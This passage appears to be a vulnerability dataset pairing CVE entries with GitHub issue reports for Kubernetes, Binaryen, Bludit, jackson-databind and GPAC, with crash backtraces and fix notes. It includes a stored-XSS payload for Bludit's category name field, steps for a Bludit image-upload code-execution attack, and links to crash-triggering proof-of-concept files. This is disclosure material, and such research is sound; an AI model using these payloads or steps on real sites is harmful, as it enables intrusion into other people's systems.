* Upgrade to a patched version (1.15.0+, 1.14.4+, 1.13.8+, or 1.12.10+)
* or, update node configurations to set the "healthzBindAddress" to "127.0.0.1".
https://github.com/kubernetes/kubernetes/pull/79184 fixed in 1.12.10
https://github.com/kubernetes/kubernetes/pull/79183 fixed in 1.13.8
https://github.com/kubernetes/kubernetes/pull/79182 fixed in 1.14.4
https://github.com/kubernetes/kubernetes/pull/78313 fixed in 1.15.0
**Vulnerability Details**
The `go pprof` endpoint is exposed over the Kubelet's healthz port. This debugging endpoint can potentially leak sensitive information such as internal Kubelet memory addresses and configuration, or for limited denial of service.
Thanks to Jordan Zebor of F5 Networks for reporting this problem.
/area security
/close | CVE-2019-11248: /debug/pprof exposed on kubelet's healthz port | https://api.github.com/repos/kubernetes/kubernetes/issues/81023/comments | 3 | 2019-08-06T14:34:33Z | 2022-05-16T21:58:38Z | https://github.com/kubernetes/kubernetes/issues/81023 | 477,418,481 | 81,023 |
CVE-2019-11249 | 2019-08-29T01:15:11.443 | The kubectl cp command allows copying files between containers and the user machine. To copy files from a container, Kubernetes runs tar inside the container to create a tar archive, copies it over the network, and kubectl unpacks it on the user’s machine. If the tar binary in the container is malicious, it could run any code and output unexpected, malicious results. An attacker could use this to write files to any path on the user’s machine when kubectl cp is called, limited only by the system permissions of the local user. Kubernetes affected versions include versions prior to 1.13.9, versions prior to 1.14.5, versions prior to 1.15.2, and versions 1.1, 1.2, 1.4, 1.4, 1.5, 1.6, 1.7, 1.8, 1.9, 1.10, 1.11, 1.12. | {
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"Patch",
"Third Party Advisory"
] | github.com | [
"kubernetes",
"kubernetes"
] | [CVSS:3.0/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:H/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:H/A:N)
A third issue was discovered with the Kubernetes `kubectl cp` command that could enable a directory traversal such that a malicious container could replace or create files on a user’s workstation. The vulnerability is a client-side defect and requires user interaction to be exploited.
**Vulnerable versions:**
Kubernetes 1.0.x-1.12.x
Kubernetes 1.13.0-1.13.8
Kubernetes 1.14.0-1.14.4
Kubernetes 1.15.0-1.15.1
**Vulnerable configurations:**
All `kubectl` clients running a vulnerable version and using the `cp` operation.
**Vulnerability impact:**
A malicious user can potentially create or overwrite files outside of the destination directory of the `kubectl cp` operation.
**Mitigations prior to upgrading:**
Avoid using `kubectl cp` with any untrusted workloads.
**Fixed versions:**
Fixed in v1.13.9 by #80871
Fixed in v1.14.5 by #80870
Fixed in v1.15.2 by #80869
Fixed in master by #80436
**Fix impact:**
The `kubectl cp` function is prevented from creating or modifying files outside the destination directory.
**Acknowledgements:**
This issue was discovered by Yang Yang of Amazon, who also provided a patch. Thanks also to the release managers for creating the security releases. | CVE-2019-11249: Incomplete fixes for CVE-2019-1002101 and CVE-2019-11246, kubectl cp potential directory traversal | https://api.github.com/repos/kubernetes/kubernetes/issues/80984/comments | 3 | 2019-08-05T12:44:23Z | 2022-05-16T21:57:50Z | https://github.com/kubernetes/kubernetes/issues/80984 | 476,838,777 | 80,984 |
CVE-2019-11250 | 2019-08-29T01:15:11.523 | The Kubernetes client-go library logs request headers at verbosity levels of 7 or higher. This can disclose credentials to unauthorized users via logs or command output. Kubernetes components (such as kube-apiserver) prior to v1.16.0, which make use of basic or bearer token authentication, and run at high verbosity levels, are affected. | {
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"Third Party Advisory"
] | github.com | [
"kubernetes",
"kubernetes"
] | This issue was reported in the [Kubernetes Security Audit Report](https://github.com/kubernetes/community/blob/master/wg-security-audit/findings/Kubernetes%20Final%20Report.pdf)
**Description**
Kubernetes requires an authentication mechanism to enforce users’ privileges. One method of authentication, bearer tokens, are opaque strings used to associate a user with their having successfully authenticated previously. Any user with possession of this token may masquerade as the original user (the “bearer”) without further authentication.
Within Kubernetes, the bearer token is captured within the hyperkube kube-apiserver system logs at high verbosity levels (--v 10). A malicious user with access to the system logs on such a system could masquerade as any user who has previously logged into the system.
**Exploit Scenario**
Alice logs into a Kubernetes cluster and is issued a Bearer token. The system logs her token. Eve, who has access to the logs but not the production Kubernetes cluster, replays Alice’s Bearer token, and can masquerade as Alice to the cluster.
**Recommendation**
Short term, remove the Bearer token from the log. Do not log any authentication credentials within the system, including tokens, private keys, or passwords that may be used to authenticate to the production Kubernetes cluster, regardless of the logging level.
Long term, either implement policies that enforce code review to ensure that sensitive data is not exposed in logs, or implement logging filters that check for sensitive data and remove it prior to outputting the log. In either case, ensure that sensitive data cannot be trivially stored in logs.
**Anything else we need to know?**:
See #81146 for current status of all issues created from these findings.
The vendor gave this issue an ID of TOB-K8S-001 and it was finding 6 of the report.
The vendor considers this issue Medium Severity.
To view the original finding, begin on page 31 of the [Kubernetes Security Review Report](https://github.com/kubernetes/community/blob/master/wg-security-audit/findings/Kubernetes%20Final%20Report.pdf)
**Environment**:
- Kubernetes version: 1.13.4 | CVE-2019-11250: TOB-K8S-001: Bearer tokens are revealed in logs | https://api.github.com/repos/kubernetes/kubernetes/issues/81114/comments | 15 | 2019-08-08T02:03:04Z | 2023-09-21T12:52:47Z | https://github.com/kubernetes/kubernetes/issues/81114 | 478,213,865 | 81,114 |
CVE-2019-15758 | 2019-08-29T02:15:10.553 | An issue was discovered in Binaryen 1.38.32. Missing validation rules in asmjs/asmangle.cpp can lead to an Assertion Failure at wasm/wasm.cpp in wasm::asmangle. A crafted input can cause denial-of-service, as demonstrated by wasm2js. | {
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{
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"tags": [
"Exploit",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/WebAssembly/binaryen/issues/2288"
},
{
"source": "[email protected]",
"tags": [
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"Third Party Advisory"
],
"url": "https://github.com/WebAssembly/binaryen/pull/2290"
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"Exploit",
"Patch",
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] | github.com | [
"WebAssembly",
"binaryen"
] | Hi,
I observed two crash and assertion failed in wasm2js (based on commit 777342684f5af51105be710c06591513433ed879). The poc files are attached.
How to reproduce:
```
wasm2js poc
```
[poc.zip](https://github.com/WebAssembly/binaryen/files/3479031/poc.zip)
Report of backtrace in `gdb`
Assertaion failed
```
#0 0x00007ffff6f78428 in raise () from /lib/x86_64-linux-gnu/libc.so.6
#1 0x00007ffff6f7a02a in abort () from /lib/x86_64-linux-gnu/libc.so.6
#2 0x00007ffff6f70bd7 in ?? () from /lib/x86_64-linux-gnu/libc.so.6
#3 0x00007ffff6f70c82 in __assert_fail () from /lib/x86_64-linux-gnu/libc.so.6
#4 0x0000000000f1bad3 in wasm::asmangle (name=<incomplete type>) at binaryen/src/asmjs/asmangle.cpp:26
#5 0x0000000000a982ee in wasm::Wasm2JSBuilder::fromName (this=0x7fffffffc718, name=..., scope=wasm::NameScope::Top)
at binaryen/src/wasm2js.h:207
#6 0x0000000000a72a0c in wasm::Wasm2JSBuilder::processWasm (this=0x7fffffffc718, wasm=0x7fffffffd450, funcName=...)
at binaryen/src/wasm2js.h:384
#7 0x0000000000a7ac9f in (anonymous namespace)::emitWasm (wasm=..., output=..., flags=..., options=..., name=...)
at binaryen/src/tools/wasm2js.cpp:502
#8 0x0000000000a79bc2 in main (argc=0x2, argv=0x7fffffffdcb8) at binaryen/src/tools/wasm2js.cpp:925
#9 0x00007ffff6f63830 in __libc_start_main () from /lib/x86_64-linux-gnu/libc.so.6
#10 0x0000000000a71219 in _start ()
```
Crash
```
Stopped reason: SIGSEGV
#0 0x0000000000e561b4 in wasm::LocalSet::finalize (this=0x1486b40) at binaryen/src/wasm/wasm.cpp:465
#1 0x0000000000b13832 in wasm::Builder::makeLocalSet (this=0x7fffffffac78, index=0x0, value=0x0) at binaryen/src/wasm-builder.h:244
#2 0x0000000000f2dbe9 in wasm::ExpressionManipulator::flexibleCopy(wasm::Expression*, wasm::Module&, std::function<wasm::Expression* (wasm::Expression*)>)::Copier::visitLocalSet(wasm::LocalSet*) (this=0x7fffffffac50, curr=0x7ffff0000b10) at binaryen/src/ir/ExpressionManipulator.cpp:96
#3 0x0000000000f2d25b in wasm::Visitor<wasm::ExpressionManipulator::flexibleCopy(wasm::Expression*, wasm::Module&, std::function<wasm::Expression* (wasm::Expression*)>)::Copier, wasm::Expression*>::visit(wasm::Expression*) (this=0x7fffffffac50, curr=0x7ffff0000b10) at binaryen/src/wasm-traversal.h:112
#4 0x0000000000f2cfb0 in wasm::ExpressionManipulator::flexibleCopy(wasm::Expression*, wasm::Module&, std::function<wasm::Expression* (wasm::Expression*)>)::Copier::copy(wasm::Expression*) (this=0x7fffffffac50, curr=0x7ffff0000b10) at binaryen/src/ir/ExpressionManipulator.cpp:44
#5 0x0000000000f2d63f in wasm::ExpressionManipulator::flexibleCopy(wasm::Expression*, wasm::Module&, std::function<wasm::Expression* (wasm::Expression*)>)::Copier::visitBlock(wasm::Block*) (this=0x7fffffffac50, curr=0x7ffff0000b48) at binaryen/src/ir/ExpressionManipulator.cpp:50
#6 0x0000000000f2d17b in wasm::Visitor<wasm::ExpressionManipulator::flexibleCopy(wasm::Expression*, wasm::Module&, std::function<wasm::Expression* (wasm::Expression*)>)::Copier, wasm::Expression*>::visit(wasm::Expression*) (this=0x7fffffffac50, curr=0x7ffff0000b48) at binaryen/src/wasm-traversal.h:96
#7 0x0000000000f2cfb0 in wasm::ExpressionManipulator::flexibleCopy(wasm::Expression*, wasm::Module&, std::function<wasm::Expression* (wasm::Expression*)>)::Copier::copy(wasm::Expression*) (this=0x7fffffffac50, curr=0x7ffff0000b48) at binaryen/src/ir/ExpressionManipulator.cpp:44
#8 0x0000000000f2ce73 in wasm::ExpressionManipulator::flexibleCopy(wasm::Expression*, wasm::Module&, std::function<wasm::Expression* (wasm::Expression*)>) (original=0x7ffff0000b48,
wasm=..., custom=...) at binaryen/src/ir/ExpressionManipulator.cpp:229
#9 0x0000000000c34fbd in wasm::ExpressionManipulator::copy (original=0x7ffff0000b48, wasm=...) at binaryen/src/ir/manipulation.h:62
#10 0x0000000000c34cc1 in wasm::ModuleUtils::copyFunction (func=0x14673e0, out=...) at binaryen/src/ir/module-utils.h:99
#11 0x0000000000c3475d in wasm::I64ToI32Lowering::doWalkFunction (this=0x1469ca0, func=0x14673e0)
at binaryen/src/passes/I64ToI32Lowering.cpp:176
#12 0x0000000000c21ae3 in wasm::Walker<wasm::I64ToI32Lowering, wasm::Visitor<wasm::I64ToI32Lowering, void> >::walkFunction (this=0x1469cc8, func=0x14673e0)
at binaryen/src/wasm-traversal.h:504
#13 0x0000000000c210ac in wasm::Walker<wasm::I64ToI32Lowering, wasm::Visitor<wasm::I64ToI32Lowering, void> >::doWalkModule (this=0x1469cc8, module=0x7fffffffd460)
at binaryen/src/wasm-traversal.h:569
#14 0x0000000000c20bfe in wasm::I64ToI32Lowering::doWalkModule (this=0x1469ca0, module=0x7fffffffd460)
at binaryen/src/passes/I64ToI32Lowering.cpp:147
#15 0x0000000000c206a3 in wasm::Walker<wasm::I64ToI32Lowering, wasm::Visitor<wasm::I64ToI32Lowering, void> >::walkModule (this=0x1469cc8, module=0x7fffffffd460)
at binaryen/src/wasm-traversal.h:543
#16 0x0000000000c1c75f in wasm::WalkerPass<wasm::PostWalker<wasm::I64ToI32Lowering, wasm::Visitor<wasm::I64ToI32Lowering, void> > >::run (this=0x1469ca0, runner=0x7fffffffc4a8,
module=0x7fffffffd460) at binaryen/src/pass.h:331
#17 0x0000000000b062a8 in wasm::PassRunner::runPass (this=0x7fffffffc4a8, pass=0x1469ca0) at binaryen/src/passes/pass.cpp:685
#18 0x0000000000b05cc0 in wasm::PassRunner::run (this=0x7fffffffc4a8) at binaryen/src/passes/pass.cpp:563
#19 0x0000000000a722bf in wasm::Wasm2JSBuilder::processWasm (this=0x7fffffffc728, wasm=0x7fffffffd460, funcName=...)
at binaryen/src/wasm2js.h:332
#20 0x0000000000a7ac9f in (anonymous namespace)::emitWasm (wasm=..., output=..., flags=..., options=..., name=...)
at binaryen/src/tools/wasm2js.cpp:502
#21 0x0000000000a79bc2 in main (argc=0x2, argv=0x7fffffffdcc8) at binaryen/src/tools/wasm2js.cpp:925
#22 0x00007ffff6f63830 in __libc_start_main () from /lib/x86_64-linux-gnu/libc.so.6
#23 0x0000000000a71219 in _start ()
```
| Crash and Assertion failed in wasm2js | https://api.github.com/repos/WebAssembly/binaryen/issues/2288/comments | 1 | 2019-08-07T21:48:28Z | 2019-08-20T23:36:12Z | https://github.com/WebAssembly/binaryen/issues/2288 | 478,154,657 | 2,288 |
CVE-2019-16113 | 2019-09-08T21:15:10.617 | Bludit 3.9.2 allows remote code execution via bl-kernel/ajax/upload-images.php because PHP code can be entered with a .jpg file name, and then this PHP code can write other PHP code to a ../ pathname. | {
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"Exploit",
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] | github.com | [
"bludit",
"bludit"
] | ### A Code Execution Vulnerability in Bludit v3.9.2
Hi,
For CVE ID,so I open a new issue,sorry about that.And I think you haven't completely fixed the bug.
There is a new Code Execution Vulnerability which allow to get server permissions,the path is /bl-kernel/admin/ajax/upload-images.php
#### 1, login with any account which allows you to edit conten
#### 2.upload the evil jpg
We can specify the location of the uploaded file by changing the value of the uuid,then upload the evil picture to tmp folder
#### 3.upload both the.htaccess file and the access target jpg
Successfully reverted to the target file
#### 4. Access the evil file that are written through jpg
So I recommend checking the file before uploading it to temporary directory
| Bludit v3.9.2 Code Execution Vulnerability in "Upload function" | https://api.github.com/repos/bludit/bludit/issues/1081/comments | 6 | 2019-09-07T11:40:38Z | 2023-10-24T07:42:28Z | https://github.com/bludit/bludit/issues/1081 | 490,625,895 | 1,081 |
CVE-2019-14540 | 2019-09-15T22:15:10.277 | A Polymorphic Typing issue was discovered in FasterXML jackson-databind before 2.9.10. It is related to com.zaxxer.hikari.HikariConfig. | {
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"Patch",
"Third Party Advisory"
] | github.com | [
"FasterXML",
"jackson-databind"
] | Another gadget (*) type report regarding `HikariConfig`, via `HikariDataSource`
Mitre id: CVE-2019-14540
Reporter: iSafeBlue / blue at ixsec.org
(*) See https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062 for more on general problem type
Fixed in:
* 2.9.10
* 2.8.11.5
* 2.6.7.3
* does not affect 2.10.0 and later
| Block one more gadget type (HikariCP, CVE-2019-14540) | https://api.github.com/repos/FasterXML/jackson-databind/issues/2410/comments | 8 | 2019-08-06T02:03:28Z | 2020-02-10T22:11:47Z | https://github.com/FasterXML/jackson-databind/issues/2410 | 477,131,144 | 2,410 |
CVE-2019-14540 | 2019-09-15T22:15:10.277 | A Polymorphic Typing issue was discovered in FasterXML jackson-databind before 2.9.10. It is related to com.zaxxer.hikari.HikariConfig. | {
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] | https://github.com/FasterXML/jackson-databind/issues/2449 | [
"Patch",
"Third Party Advisory"
] | github.com | [
"FasterXML",
"jackson-databind"
] | Another gadget (*) type report regarding `HikariConfig` (sub-class of `HikariDataSource`)
Mitre id: CVE-2019-14439
Reporter: kingkk
Fixed in:
* 2.9.10
* 2.8.11.5
* 2.6.7.3
* does not affect 2.10.0 and later
-----
(*) See https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062 for more on general problem type
| Block one more gadget type (HikariCP, CVE-2019-14439 / CVE-2019-16335) | https://api.github.com/repos/FasterXML/jackson-databind/issues/2449/comments | 3 | 2019-09-10T17:06:52Z | 2020-02-10T22:12:16Z | https://github.com/FasterXML/jackson-databind/issues/2449 | 491,794,946 | 2,449 |
CVE-2019-16334 | 2019-09-15T22:15:10.527 | In Bludit v3.9.2, there is a persistent XSS vulnerability in the Categories -> Add New Category -> Name field. NOTE: this may overlap CVE-2017-16636. | {
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{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/bludit/bludit/issues/1078"
}
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"Exploit",
"Third Party Advisory"
] | github.com | [
"bludit",
"bludit"
] | ### Vulnerability
Bludit v3.9.2 is vulnerable to a stored XSS vulnerability in Categories -> Add New Category -> Name Parameter
### Steps to reproduce the problem
Go to Categories -> Add New Category and insert the following payload in [Name] Parameter:
<svg onload=alert(document.location)>
| Stored XSS in bludit v3.9.2 | https://api.github.com/repos/bludit/bludit/issues/1078/comments | 2 | 2019-08-29T06:40:10Z | 2023-10-20T17:37:48Z | https://github.com/bludit/bludit/issues/1078 | 486,767,363 | 1,078 |
CVE-2018-21015 | 2019-09-16T13:15:11.417 | AVC_DuplicateConfig() at isomedia/avc_ext.c in GPAC 0.7.1 allows remote attackers to cause a denial of service (NULL pointer dereference and application crash) via a crafted file. There is "cfg_new->AVCLevelIndication = cfg->AVCLevelIndication;" but cfg could be NULL. | {
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},
{
"source": "[email protected]",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://lists.debian.org/debian-lts-announce/2020/01/msg00017.html"
}
] | [
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] | https://github.com/gpac/gpac/issues/1179 | [
"Exploit",
"Third Party Advisory"
] | github.com | [
"gpac",
"gpac"
] | Tested in Ubuntu 18.04, 64bit, gcc 7.3.0, gpac (master 94ad872)
Compile cmd
`$ ./configure --extra-cflags=-g"`
`$ make`
Triggered by
`$ MP4Box -diso $POC`
POC file:
https://github.com/Marsman1996/pocs/blob/master/gpac/poc12-SEGV
gdb info:
```
Program received signal SIGSEGV, Segmentation fault.
AVC_DuplicateConfig (cfg=0x0)
at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/avc_ext.c:847
847 cfg_new->AVCLevelIndication = cfg->AVCLevelIndication;
(gdb) bt
#0 AVC_DuplicateConfig (cfg=0x0) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/avc_ext.c:847
#1 0x00007ffff7856a5f in merge_avc_config (dst_cfg=dst_cfg@entry=0x5555557a8e00, src_cfg=<optimized out>)
at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/avc_ext.c:897
#2 0x00007ffff7859ae9 in AVC_RewriteESDescriptorEx (avc=avc@entry=0x5555557a8850, mdia=mdia@entry=0x0)
at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/avc_ext.c:1039
#3 0x00007ffff785a037 in AVC_RewriteESDescriptor (avc=avc@entry=0x5555557a8850)
at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/avc_ext.c:1067
#4 0x00007ffff786bd1c in video_sample_entry_Read (s=0x5555557a8850, bs=0x5555557a7f70)
at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_code_base.c:4291
#5 0x00007ffff7891fa7 in gf_isom_box_read (bs=0x5555557a7f70, a=0x5555557a8850)
at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1385
#6 gf_isom_box_parse_ex (outBox=0x7fffffff8af8, bs=0x5555557a7f70, parent_type=<optimized out>, is_root_box=<optimized out>)
at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:199
#7 0x00007ffff789254d in gf_isom_box_array_read_ex (parent=0x5555557a8800, bs=0x5555557a7f70, add_box=0x7ffff7865140 <stsd_AddBox>,
parent_type=1937011556) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1277
#8 0x00007ffff7891fa7 in gf_isom_box_read (bs=0x5555557a7f70, a=0x5555557a8800)
at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1385
#9 gf_isom_box_parse_ex (outBox=0x7fffffff8bf8, bs=0x5555557a7f70, parent_type=<optimized out>, is_root_box=<optimized out>)
at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:199
#10 0x00007ffff789254d in gf_isom_box_array_read_ex (parent=parent@entry=0x5555557a8730, bs=0x5555557a7f70,
add_box=add_box@entry=0x7ffff7863750 <stbl_AddBox>, parent_type=parent_type@entry=0)
at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1277
#11 0x00007ffff7892837 in gf_isom_box_array_read (parent=parent@entry=0x5555557a8730, bs=<optimized out>,
add_box=add_box@entry=0x7ffff7863750 <stbl_AddBox>) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:262
#12 0x00007ffff786d255 in stbl_Read (s=0x5555557a8730, bs=<optimized out>)
at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_code_base.c:5183
#13 0x00007ffff7891fa7 in gf_isom_box_read (bs=0x5555557a7f70, a=0x5555557a8730)
at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1385
#14 gf_isom_box_parse_ex (outBox=0x7fffffff8d18, bs=0x5555557a7f70, parent_type=<optimized out>, is_root_box=<optimized out>)
at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:199
#15 0x00007ffff789254d in gf_isom_box_array_read_ex (parent=parent@entry=0x5555557a8470, bs=0x5555557a7f70,
add_box=add_box@entry=0x7ffff7863450 <minf_AddBox>, parent_type=parent_type@entry=0)
at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1277
#16 0x00007ffff7892837 in gf_isom_box_array_read (parent=parent@entry=0x5555557a8470, bs=<optimized out>,
add_box=add_box@entry=0x7ffff7863450 <minf_AddBox>) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:262
#17 0x00007ffff786acfb in minf_Read (s=0x5555557a8470, bs=<optimized out>)
at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_code_base.c:3513
#18 0x00007ffff7891fa7 in gf_isom_box_read (bs=0x5555557a7f70, a=0x5555557a8470)
at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1385
#19 gf_isom_box_parse_ex (outBox=0x7fffffff8e58, bs=0x5555557a7f70, parent_type=<optimized out>, is_root_box=<optimized out>)
at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:199
#20 0x00007ffff789254d in gf_isom_box_array_read_ex (parent=parent@entry=0x5555557a82c0, bs=0x5555557a7f70,
add_box=add_box@entry=0x7ffff7863330 <mdia_AddBox>, parent_type=parent_type@entry=0)
at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1277
#21 0x00007ffff7892837 in gf_isom_box_array_read (parent=parent@entry=0x5555557a82c0, bs=<optimized out>,
add_box=add_box@entry=0x7ffff7863330 <mdia_AddBox>) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:262
#22 0x00007ffff786a090 in mdia_Read (s=0x5555557a82c0, bs=<optimized out>)
at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_code_base.c:3034
#23 0x00007ffff7891fa7 in gf_isom_box_read (bs=0x5555557a7f70, a=0x5555557a82c0)
at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1385
#24 gf_isom_box_parse_ex (outBox=0x7fffffff8f68, bs=0x5555557a7f70, parent_type=<optimized out>, is_root_box=<optimized out>)
---Type <return> to continue, or q <return> to quit---
at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:199
#25 0x00007ffff789254d in gf_isom_box_array_read_ex (parent=parent@entry=0x5555557a8100, bs=0x5555557a7f70,
add_box=add_box@entry=0x7ffff7863ec0 <trak_AddBox>, parent_type=parent_type@entry=0)
at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1277
#26 0x00007ffff7892837 in gf_isom_box_array_read (parent=parent@entry=0x5555557a8100, bs=<optimized out>,
add_box=add_box@entry=0x7ffff7863ec0 <trak_AddBox>) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:262
#27 0x00007ffff786fd1d in trak_Read (s=0x5555557a8100, bs=<optimized out>)
at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_code_base.c:6905
#28 0x00007ffff7891fa7 in gf_isom_box_read (bs=0x5555557a7f70, a=0x5555557a8100)
at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1385
#29 gf_isom_box_parse_ex (outBox=0x7fffffff90c8, bs=0x5555557a7f70, parent_type=<optimized out>, is_root_box=<optimized out>)
at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:199
#30 0x00007ffff789254d in gf_isom_box_array_read_ex (parent=parent@entry=0x5555557a7bf0, bs=bs@entry=0x5555557a7f70,
add_box=0x7ffff7891be0 <gf_isom_box_add_default>, parent_type=parent_type@entry=0)
at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1277
#31 0x00007ffff7892837 in gf_isom_box_array_read (parent=parent@entry=0x5555557a7bf0, bs=bs@entry=0x5555557a7f70, add_box=<optimized out>)
at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:262
#32 0x00007ffff7866a8a in unkn_Read (s=0x5555557a7bf0, bs=<optimized out>)
at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_code_base.c:762
#33 0x00007ffff7892bc9 in gf_isom_box_read (bs=0x5555557a6a60, a=0x5555557a7bf0)
at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1385
#34 gf_isom_box_parse_ex (outBox=outBox@entry=0x7fffffff9280, bs=bs@entry=0x5555557a6a60, is_root_box=is_root_box@entry=GF_TRUE, parent_type=0)
at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:199
#35 0x00007ffff7892fc5 in gf_isom_parse_root_box (outBox=outBox@entry=0x7fffffff9280, bs=0x5555557a6a60,
bytesExpected=bytesExpected@entry=0x7fffffff92d0, progressive_mode=progressive_mode@entry=GF_FALSE)
at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:42
#36 0x00007ffff789a20b in gf_isom_parse_movie_boxes (mov=mov@entry=0x5555557a68a0, bytesMissing=bytesMissing@entry=0x7fffffff92d0,
progressive_mode=progressive_mode@entry=GF_FALSE) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/isom_intern.c:206
#37 0x00007ffff789b048 in gf_isom_parse_movie_boxes (progressive_mode=GF_FALSE, bytesMissing=0x7fffffff92d0, mov=0x5555557a68a0)
at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/isom_intern.c:194
#38 gf_isom_open_file (fileName=0x7fffffffe1a0 "../../poc12-SEGV", OpenMode=0, tmp_dir=0x0)
at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/isom_intern.c:615
#39 0x000055555556f3bd in mp4boxMain (argc=<optimized out>, argv=<optimized out>)
at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/applications/mp4box/main.c:4539
#40 0x00007ffff7331b97 in __libc_start_main (main=0x555555561e30 <main>, argc=3, argv=0x7fffffffdd98, init=<optimized out>, fini=<optimized out>,
rtld_fini=<optimized out>, stack_end=0x7fffffffdd88) at ../csu/libc-start.c:310
#41 0x0000555555561e6a in _start ()
``` | SEGV in AVC_DuplicateConfig() at avc_ext.c:847 | https://api.github.com/repos/gpac/gpac/issues/1179/comments | 2 | 2018-12-15T06:54:00Z | 2019-09-21T12:25:09Z | https://github.com/gpac/gpac/issues/1179 | 391,351,147 | 1,179 |
CVE-2018-21016 | 2019-09-16T13:15:11.510 | audio_sample_entry_AddBox() at isomedia/box_code_base.c in GPAC 0.7.1 allows remote attackers to cause a denial of service (heap-based buffer over-read and application crash) via a crafted file. | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": true
}
],
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/gpac/gpac/issues/1180"
},
{
"source": "[email protected]",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://lists.debian.org/debian-lts-announce/2020/01/msg00017.html"
}
] | [
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] | https://github.com/gpac/gpac/issues/1180 | [
"Exploit",
"Third Party Advisory"
] | github.com | [
"gpac",
"gpac"
] | Tested in Ubuntu 18.04, 64bit, gcc 7.3.0, gpac (master 94ad872)
Compile cmd:
`$ ./configure --extra-cflags="-fsanitize=address,undefined -g" --extra-ldflags="-fsanitize=address,undefined -ldl -g"`
`$ make`
Triggered by
`$ MP4Box -diso $POC`
POC file:
https://github.com/Marsman1996/pocs/blob/master/gpac/poc14-heapoverflow
ASAN info:
```
